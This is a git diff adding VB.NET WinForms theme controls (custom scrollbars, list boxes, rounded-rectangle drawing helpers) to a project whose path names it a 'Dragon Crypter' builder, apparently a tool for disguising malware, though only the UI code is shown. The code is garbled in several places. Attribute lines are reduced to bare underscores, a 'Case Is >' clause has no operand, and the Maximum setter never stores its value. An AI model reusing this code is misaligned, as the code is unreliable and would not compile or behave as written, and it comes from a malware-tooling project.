Thumb.Y Then + ThumbMovement = _Value - _LargeChange + Else + ThumbMovement = _Value + _LargeChange + End If + End If + End If + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbPressed AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.Y - TSA.Height - (_ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Height - _ThumbSize + ThumbMovement = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbPressed = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.Selectable Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(24, 50) + End Sub + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + Dim B As New Bitmap(Height, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim P() As Point = {New Point(Width / 2, 5), New Point(Width / 4, 13), New Point(Width / 2 - 2, 13), New Point(Width / 2 - 2, Height - 13), _ + New Point(Width / 4, Height - 13), New Point(Width / 2, Height - 5), New Point(Width - Width / 4 - 1, Height - 13), New Point(Width / 2 + 2, Height - 13), _ + New Point(Width / 2 + 2, 13), New Point(Width - Width / 4 - 1, 13)} + .FillPolygon(New SolidBrush(_ArrowColour), P) + .FillRectangle(New SolidBrush(_ThumbColour), Thumb) + .DrawRectangle(New Pen(_ThumbBorder), Thumb) + .DrawRectangle(New Pen(_ThumbSecondBorder), Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + .DrawLine(New Pen(_LineColour, 2), New Point(CInt(Thumb.Width / 2 + 1), Thumb.Y + 4), New Point(CInt(Thumb.Width / 2 + 1), Thumb.Bottom - 4)) + .DrawRectangle(New Pen(_FirstBorder), 0, 0, Width - 1, Height - 1) + .DrawRectangle(New Pen(_SecondBorder), 1, 1, Width - 3, Height - 3) + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + + _ +Public Class LogInHorizontalScrollBar + Inherits Control + +#Region "Declarations" + + Private ThumbMovement As Integer + Private LSA As Rectangle + Private RSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + Private ShowThumb As Boolean + Private ThumbPressed As Boolean + Private _ThumbSize As Integer = 24 + Private _Minimum As Integer = 0 + Private _Maximum As Integer = 100 + Private _Value As Integer = 0 + Private _SmallChange As Integer = 1 + Private _ButtonSize As Integer = 16 + Private _LargeChange As Integer = 10 + Private _ThumbBorder As Color = Color.FromArgb(35, 35, 35) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _ArrowColour As Color = Color.FromArgb(37, 37, 37) + Private _BaseColour As Color = Color.FromArgb(47, 47, 47) + Private _ThumbColour As Color = Color.FromArgb(55, 55, 55) + Private _ThumbSecondBorder As Color = Color.FromArgb(65, 65, 65) + Private _FirstBorder As Color = Color.FromArgb(55, 55, 55) + Private _SecondBorder As Color = Color.FromArgb(35, 35, 35) + Private ThumbDown As Boolean = False +#End Region + +#Region "Properties & Events" + + _ + Public Property ThumbBorder As Color + Get + Return _ThumbBorder + End Get + Set(value As Color) + _ThumbBorder = value + End Set + End Property + + _ + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + _ + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ThumbColour As Color + Get + Return _ThumbColour + End Get + Set(value As Color) + _ThumbColour = value + End Set + End Property + + _ + Public Property ThumbSecondBorder As Color + Get + Return _ThumbSecondBorder + End Get + Set(value As Color) + _ThumbSecondBorder = value + End Set + End Property + + _ + Public Property FirstBorder As Color + Get + Return _FirstBorder + End Get + Set(value As Color) + _FirstBorder = value + End Set + End Property + + _ + Public Property SecondBorder As Color + Get + Return _SecondBorder + End Get + Set(value As Color) + _SecondBorder = value + End Set + End Property + + Event Scroll(ByVal sender As Object) + + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + InvalidateLayout() + End Set + End Property + + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + End Set + End Property + + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < _Minimum + _Value = _Minimum + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + InvalidatePosition() + RaiseEvent Scroll(Me) + End Set + End Property + + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Is > + _SmallChange = value + End Select + End Set + End Property + + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Else + _LargeChange = value + End Select + End Set + End Property + + Public Property ButtonSize As Integer + Get + Return _ButtonSize + End Get + Set(value As Integer) + Select Case value + Case Is < 16 + _ButtonSize = 16 + Case Else + _ButtonSize = value + End Select + End Set + End Property + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + LSA = New Rectangle(0, 1, 0, Height) + Shaft = New Rectangle(LSA.Right + 1, 0, Width - 3, Height) + ShowThumb = ((_Maximum - _Minimum)) + Thumb = New Rectangle(0, 1, _ThumbSize, Height - 3) + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.X = CInt(((_Value - _Minimum) / (_Maximum - _Minimum)) * (Shaft.Width - _ThumbSize) + 1) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left AndAlso ShowThumb Then + If LSA.Contains(e.Location) Then + ThumbMovement = _Value - _SmallChange + ElseIf RSA.Contains(e.Location) Then + ThumbMovement = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbDown = True + Return + Else + If e.X < Thumb.X Then + ThumbMovement = _Value - _LargeChange + Else + ThumbMovement = _Value + _LargeChange + End If + End If + End If + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbDown AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.X - LSA.Width - (_ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Width - _ThumbSize + + ThumbMovement = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbDown = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.Selectable Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Height = 18 + End Sub + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + Dim B As New Bitmap(Width, Width) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(47, 47, 47)) + Dim P() As Point = {New Point(5, Height / 2), New Point(13, Height / 4), New Point(13, Height / 2 - 2), New Point(Width - 13, Height / 2 - 2), _ + New Point(Width - 13, Height / 4), New Point(Width - 5, Height / 2), New Point(Width - 13, Height - Height / 4 - 1), New Point(Width - 13, Height / 2 + 2), _ + New Point(13, Height / 2 + 2), New Point(13, Height - Height / 4 - 1)} + .FillPolygon(New SolidBrush(_ArrowColour), P) + .FillRectangle(New SolidBrush(_ThumbColour), Thumb) + .DrawRectangle(New Pen(_ThumbBorder), Thumb) + .DrawRectangle(New Pen(_ThumbSecondBorder), Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + .DrawLine(New Pen((_LineColour), 2), New Point(Thumb.X + 4, (CInt(Thumb.Height / 2 + 1))), New Point(Thumb.Right - 4, (CInt(Thumb.Height / 2 + 1)))) + .DrawRectangle(New Pen(_FirstBorder), 0, 0, Width - 1, Height - 1) + .DrawRectangle(New Pen(_SecondBorder), 1, 1, Width - 3, Height - 3) + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInTitledListBoxWBuiltInScrollBar + Inherits Control + +#Region "Declarations" + + Private _Items As New List(Of LogInListBoxItem) + Private ReadOnly _SelectedItems As New List(Of LogInListBoxItem) + Private _MultiSelect As Boolean = True + Private ItemHeight As Integer = 24 + Private ReadOnly VerticalScrollbar As LogInVerticalScrollBar + Private _BaseColour As Color = Color.FromArgb(55, 55, 55) + Private _SelectedItemColour As Color = Color.FromArgb(50, 50, 50) + Private _NonSelectedItemColour As Color = Color.FromArgb(47, 47, 47) + Private _TitleAreaColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + +#End Region + +#Region "Properties & Events" + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property SelectedItemColour As Color + Get + Return _SelectedItemColour + End Get + Set(value As Color) + _SelectedItemColour = value + End Set + End Property + + _ + Public Property NonSelectedItemColour As Color + Get + Return _NonSelectedItemColour + End Get + Set(value As Color) + _NonSelectedItemColour = value + End Set + End Property + + _ + Public Property TitleAreaColour As Color + Get + Return _TitleAreaColour + End Get + Set(value As Color) + _TitleAreaColour = value + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + Private Sub HandleScroll(ByVal sender As Object) + Invalidate() + End Sub + + Private Sub InvalidateScroll() + VerticalScrollbar.Maximum = (_Items.Count * ItemHeight) + Invalidate() + End Sub + + Private Sub InvalidateLayout() + VerticalScrollbar.Location = New Point(Width - VerticalScrollbar.Width - 2, 25) + VerticalScrollbar.Size = New Size(18, Height - 27) + Invalidate() + End Sub + + Public Class LogInListBoxItem + Property Text As String + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + _ + Public Property Items() As LogInListBoxItem() + Get + Return _Items.ToArray() + End Get + Set(ByVal value As LogInListBoxItem()) + _Items = New List(Of LogInListBoxItem)(value) + InvalidateScroll() + End Set + End Property + + Public ReadOnly Property SelectedItems() As LogInListBoxItem() + Get + Return _SelectedItems.ToArray() + End Get + End Property + + Public Property MultiSelect() As Boolean + Get + Return _MultiSelect + End Get + Set(ByVal value As Boolean) + _MultiSelect = value + + If _SelectedItems.Count > 1 Then + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1) + End If + + Invalidate() + End Set + End Property + + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + ItemHeight = CInt(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + 6 + If VerticalScrollbar IsNot Nothing Then + VerticalScrollbar.SmallChange = ItemHeight + VerticalScrollbar.LargeChange = ItemHeight + End If + MyBase.Font = value + InvalidateLayout() + End Set + End Property + + Public Sub AddItem(ByVal Items As String) + Dim Item As New LogInListBoxItem() + Item.Text = Items + _Items.Add(Item) + InvalidateScroll() + End Sub + + Public Sub AddItems(ByVal Items() As String) + For Each I In Items + Dim Item As New LogInListBoxItem() + Item.Text = I + _Items.Add(Item) + Next + InvalidateScroll() + End Sub + + Public Sub RemoveItemAt(ByVal index As Integer) + _Items.RemoveAt(index) + InvalidateScroll() + End Sub + + Public Sub RemoveItem(ByVal item As LogInListBoxItem) + _Items.Remove(item) + InvalidateScroll() + End Sub + + Public Sub RemoveItems(ByVal items As LogInListBoxItem()) + For Each I As LogInListBoxItem In items + _Items.Remove(I) + Next + InvalidateScroll() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + InvalidateLayout() + MyBase.OnSizeChanged(e) + End Sub + + Private Sub Vertical_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) + Focus() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Focus() + + If e.Button = MouseButtons.Left Then + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum - (Height - (ItemHeight * 2)))) + Dim Index As Integer = ((e.Y + Offset - ItemHeight) \ ItemHeight) + + If Index > _Items.Count - 1 Then Index = -1 + + If Not Index = -1 Then + + If ModifierKeys = Keys.Control AndAlso _MultiSelect Then + If _SelectedItems.Contains(_Items(Index)) Then + _SelectedItems.Remove(_Items(Index)) + Else + _SelectedItems.Add(_Items(Index)) + End If + Else + _SelectedItems.Clear() + _SelectedItems.Add(_Items(Index)) + End If + End If + + Invalidate() + End If + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseWheel(ByVal e As MouseEventArgs) + Dim Move As Integer = -((e.Delta * SystemInformation.MouseWheelScrollLines \ 120) * (ItemHeight \ 2)) + Dim Value As Integer = Math.Max(Math.Min(VerticalScrollbar.Value + Move, VerticalScrollbar.Maximum), VerticalScrollbar.Minimum) + VerticalScrollbar.Value = Value + MyBase.OnMouseWheel(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.Selectable Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + VerticalScrollbar = New LogInVerticalScrollBar + VerticalScrollbar.SmallChange = ItemHeight + VerticalScrollbar.LargeChange = ItemHeight + AddHandler VerticalScrollbar.Scroll, AddressOf HandleScroll + AddHandler VerticalScrollbar.MouseDown, AddressOf Vertical_MouseDown + Controls.Add(VerticalScrollbar) + InvalidateLayout() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As New Bitmap(Width, Width) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim AllItems As LogInListBoxItem + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum - (Height - (ItemHeight * 2)))) + Dim StartIndex As Integer + If Offset = 0 Then StartIndex = 0 Else StartIndex = (Offset \ ItemHeight) + Dim EndIndex As Integer = Math.Min(StartIndex + (Height \ ItemHeight), _Items.Count - 1) + For I As Integer = StartIndex To EndIndex + AllItems = Items(I) + Dim Y As Integer = (ItemHeight + (I * ItemHeight) + 1 - Offset) + CInt((ItemHeight / 2) - 8) + If _SelectedItems.Contains(AllItems) Then + .FillRectangle(New SolidBrush(_SelectedItemColour), New Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + Else + .FillRectangle(New SolidBrush(_NonSelectedItemColour), New Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + End If + .DrawLine(New Pen(_BorderColour), 0, (ItemHeight + (I * ItemHeight) + 1 - Offset) + ItemHeight - 1, Width - 18, (ItemHeight + (I * ItemHeight) + 1 - Offset) + ItemHeight - 1) + .DrawString(AllItems.Text, New Font("Segoe UI", 8), New SolidBrush(_TextColour), 9, Y) + .ResetClip() + Next + .FillRectangle(New SolidBrush(_TitleAreaColour), New Rectangle(0, 0, Width, ItemHeight)) + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35)), 1, 1, Width - 3, ItemHeight - 2) + .DrawString(Text, New Font("Segoe UI", 10, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(0, 0, Width, ItemHeight + 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35), 2), 1, 0, Width - 2, Height - 1) + .DrawLine(New Pen(_BorderColour), 0, ItemHeight, Width, ItemHeight) + .DrawLine(New Pen(_BorderColour, 2), VerticalScrollbar.Location.X - 1, ItemHeight, VerticalScrollbar.Location.X - 1, Height) + End With + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInListBoxWBuiltInScrollBar + Inherits Control + +#Region "Declarations" + + Private _Items As New List(Of LogInListBoxItem) + Private ReadOnly _SelectedItems As New List(Of LogInListBoxItem) + Private _MultiSelect As Boolean = True + Private ItemHeight As Integer = 24 + Private ReadOnly VerticalScrollbar As LogInVerticalScrollBar + Private _BaseColour As Color = Color.FromArgb(55, 55, 55) + Private _SelectedItemColour As Color = Color.FromArgb(50, 50, 50) + Private _NonSelectedItemColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + +#End Region + + Public Event Hey() + +#Region "Properties & Events" + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property SelectedItemColour As Color + Get + Return _SelectedItemColour + End Get + Set(value As Color) + _SelectedItemColour = value + End Set + End Property + + _ + Public Property NonSelectedItemColour As Color + Get + Return _NonSelectedItemColour + End Get + Set(value As Color) + _NonSelectedItemColour = value + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + Private Sub HandleScroll(ByVal sender As Object) + Invalidate() + End Sub + + Private Sub InvalidateScroll() + VerticalScrollbar.Maximum = (_Items.Count * ItemHeight) + Invalidate() + End Sub + + Private Sub InvalidateLayout() + VerticalScrollbar.Location = New Point(Width - VerticalScrollbar.Width - 2, 2) + VerticalScrollbar.Size = New Size(18, Height - 4) + Invalidate() + End Sub + + Public Class LogInListBoxItem + Property Text As String + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + _ + Public Property Items() As LogInListBoxItem() + Get + Return _Items.ToArray() + End Get + Set(ByVal value As LogInListBoxItem()) + _Items = New List(Of LogInListBoxItem)(value) + InvalidateScroll() + End Set + End Property + + Public ReadOnly Property SelectedItems() As LogInListBoxItem() + Get + Return _SelectedItems.ToArray() + End Get + End Property + + Public Property MultiSelect() As Boolean + Get + Return _MultiSelect + End Get + Set(ByVal value As Boolean) + _MultiSelect = value + + If _SelectedItems.Count > 1 Then + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1) + End If + + Invalidate() + End Set + End Property + + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + ItemHeight = CInt(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + 6 + If VerticalScrollbar IsNot Nothing Then + VerticalScrollbar.SmallChange = ItemHeight + VerticalScrollbar.LargeChange = ItemHeight + End If + MyBase.Font = value + InvalidateLayout() + End Set + End Property + + Public Sub AddItem(ByVal Items As String) + Dim Item As New LogInListBoxItem() + Item.Text = Items + _Items.Add(Item) + InvalidateScroll() + End Sub + + Public Sub AddItems(ByVal Items() As String) + For Each I In Items + Dim Item As New LogInListBoxItem() + Item.Text = I + _Items.Add(Item) + Next + InvalidateScroll() + End Sub + + Public Sub RemoveItemAt(ByVal index As Integer) + _Items.RemoveAt(index) + InvalidateScroll() + End Sub + + Public Sub RemoveItem(ByVal item As LogInListBoxItem) + _Items.Remove(item) + InvalidateScroll() + End Sub + + Public Sub RemoveItems(ByVal items As LogInListBoxItem()) + For Each I As LogInListBoxItem In items + _Items.Remove(I) + Next + InvalidateScroll() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + InvalidateLayout() + MyBase.OnSizeChanged(e) + End Sub + + Private Sub Vertical_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) + Focus() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Focus() + + If e.Button = MouseButtons.Left Then + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum - (Height - (ItemHeight * 2)))) + Dim Index As Integer = ((e.Y + Offset) \ ItemHeight) + + If Index > _Items.Count - 1 Then Index = -1 + + If Not Index = -1 Then + + If ModifierKeys = Keys.Control AndAlso _MultiSelect Then + If _SelectedItems.Contains(_Items(Index)) Then + _SelectedItems.Remove(_Items(Index)) + Else + _SelectedItems.Add(_Items(Index)) + End If + Else + _SelectedItems.Clear() + _SelectedItems.Add(_Items(Index)) + End If + End If + + Invalidate() + End If + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseWheel(ByVal e As MouseEventArgs) + Dim Move As Integer = -((e.Delta * SystemInformation.MouseWheelScrollLines \ 120) * (ItemHeight \ 2)) + Dim Value As Integer = Math.Max(Math.Min(VerticalScrollbar.Value + Move, VerticalScrollbar.Maximum), VerticalScrollbar.Minimum) + VerticalScrollbar.Value = Value + MyBase.OnMouseWheel(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.Selectable Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + VerticalScrollbar = New LogInVerticalScrollBar + VerticalScrollbar.SmallChange = ItemHeight + VerticalScrollbar.LargeChange = ItemHeight + AddHandler VerticalScrollbar.Scroll, AddressOf HandleScroll + AddHandler VerticalScrollbar.MouseDown, AddressOf Vertical_MouseDown + Controls.Add(VerticalScrollbar) + InvalidateLayout() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As New Bitmap(Width, Width) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim AllItems As LogInListBoxItem + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum - (Height - (ItemHeight * 2)))) + Dim StartIndex As Integer + If Offset = 0 Then StartIndex = 0 Else StartIndex = (Offset \ ItemHeight) + Dim EndIndex As Integer = Math.Min(StartIndex + (Height \ ItemHeight), _Items.Count - 1) + For I As Integer = StartIndex To EndIndex + AllItems = Items(I) + Dim Y As Integer = ((I * ItemHeight) + 1 - Offset) + CInt((ItemHeight / 2) - 8) + If _SelectedItems.Contains(AllItems) Then + .FillRectangle(New SolidBrush(_SelectedItemColour), New Rectangle(0, (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + Else + .FillRectangle(New SolidBrush(_NonSelectedItemColour), New Rectangle(0, (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + End If + .DrawLine(New Pen(_BorderColour), 0, ((I * ItemHeight) + 1 - Offset) + ItemHeight - 1, Width - 18, ((I * ItemHeight) + 1 - Offset) + ItemHeight - 1) + .DrawString(AllItems.Text, New Font("Segoe UI", 8), New SolidBrush(_TextColour), 9, Y) + .ResetClip() + Next + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35), 2), 1, 1, Width - 2, Height - 2) + ' .DrawLine(New Pen(_BorderColour), 0, ItemHeight, Width, ItemHeight) + .DrawLine(New Pen(_BorderColour, 2), VerticalScrollbar.Location.X - 1, 0, VerticalScrollbar.Location.X - 1, Height) + End With + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module2.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module2.vb new file mode 100644 index 0000000..39cf4e8 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module2.vb @@ -0,0 +1,3166 @@ +Imports System.ComponentModel +Imports System.Drawing +Imports System.Drawing.Drawing2D +Imports System.Drawing.Text + +Public NotInheritable Class NetTwist + Private Sub New() + End Sub + Friend Shared Sub DrawRoundRectangle(ByVal Graphics As Graphics, ByVal Bounds As Rectangle, ByVal Radius As Integer, ByVal Outline As Pen, ByVal Fill As LinearGradientBrush) + Bounds = New Rectangle(Bounds.X, Bounds.Y, (Bounds.Width - 1), (Bounds.Height - 1)) + Using Path As New GraphicsPath(FillMode.Winding) + Path.AddArc(Bounds.X, Bounds.Y, Radius, Radius, 180.0F, 90.0F) + Path.AddArc(Bounds.Right - Radius, Bounds.Y, Radius, Radius, 270.0F, 90.0F) + Path.AddArc(Bounds.Right - Radius, Bounds.Bottom - Radius, Radius, Radius, 0.0F, 90.0F) + Path.AddArc(Bounds.X, Bounds.Bottom - Radius, Radius, Radius, 90.0F, 90.0F) + Path.CloseFigure() + Graphics.FillPath(Fill, Path) + Graphics.DrawPath(Outline, Path) + End Using + End Sub + Friend Shared Sub DrawRoundRectangle(ByVal Graphics As Graphics, ByVal Bounds As Rectangle, ByVal Radius As Integer, ByVal Outline As Pen, ByVal Fill As Color) + Bounds = New Rectangle(Bounds.X, Bounds.Y, (Bounds.Width - 1), (Bounds.Height - 1)) + Using Path As New GraphicsPath(FillMode.Winding) + Path.AddArc(Bounds.X, Bounds.Y, Radius, Radius, 180.0F, 90.0F) + Path.AddArc(Bounds.Right - Radius, Bounds.Y, Radius, Radius, 270.0F, 90.0F) + Path.AddArc(Bounds.Right - Radius, Bounds.Bottom - Radius, Radius, Radius, 0.0F, 90.0F) + Path.AddArc(Bounds.X, Bounds.Bottom - Radius, Radius, Radius, 90.0F, 90.0F) + Path.CloseFigure() + Graphics.FillPath(New SolidBrush(Fill), Path) + Graphics.DrawPath(Outline, Path) + End Using + End Sub + Friend Shared Sub DrawCross(ByVal Graphics As Graphics, ByVal Location As Point) + Using Path As New GraphicsPath() + Path.AddLine(Location.X + 1, Location.Y, Location.X + 3, Location.Y) + Path.AddLine(Location.X + 5, Location.Y + 2, Location.X + 7, Location.Y) + Path.AddLine(Location.X + 9, Location.Y, Location.X + 10, Location.Y + 1) + Path.AddLine(Location.X + 7, Location.Y + 4, Location.X + 7, Location.Y + 5) + Path.AddLine(Location.X + 10, Location.Y + 8, Location.X + 9, Location.Y + 9) + Path.AddLine(Location.X + 7, Location.Y + 9, Location.X + 5, Location.Y + 7) + Path.AddLine(Location.X + 3, Location.Y + 9, Location.X + 1, Location.Y + 9) + Path.AddLine(Location.X + 0, Location.Y + 8, Location.X + 3, Location.Y + 5) + Path.AddLine(Location.X + 3, Location.Y + 4, Location.X + 0, Location.Y + 1) + Graphics.FillPath(Brushes.White, Path) + Graphics.DrawPath(Pens.Black, Path) + End Using + End Sub + Friend Shared Function CreateGradient(ByVal Width As Integer, ByVal Height As Integer, ByVal Color1 As Color, ByVal Color2 As Color) As LinearGradientBrush + Return New LinearGradientBrush(New Point((Width / 2), 0), New Point((Width / 2), Height), Color1, Color2) + End Function + Friend Shared Sub DrawString(ByVal Graphics As Graphics, ByVal Font As Font, ByVal Text As String, ByVal Color As Color, ByVal HorizontalAlignment As StringAlignment, ByVal Location As PointF) + Dim TextFormat As New StringFormat() + TextFormat.Alignment = HorizontalAlignment + Graphics.DrawString(Text, Font, New SolidBrush(Color), Location, TextFormat) + End Sub +End Class + +Class STTheme + Inherits ContainerControl +#Region "Properties" + _ + Public Overrides Property Text() As String + Get + If TypeOf Parent Is Form Then + Return ParentForm.Text + Else + Return MyBase.Text + End If + End Get + Set(ByVal value As String) + If TypeOf Parent Is Form Then + ParentForm.Text = value + End If + MyBase.Text = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + If TypeOf Parent Is Form Then + ParentForm.ForeColor = value + End If + Invalidate() + End Set + End Property + + Protected Overrides Property DoubleBuffered() As Boolean + Get + Return MyBase.DoubleBuffered + End Get + Set(ByVal value As Boolean) + MyBase.DoubleBuffered = value + Invalidate() 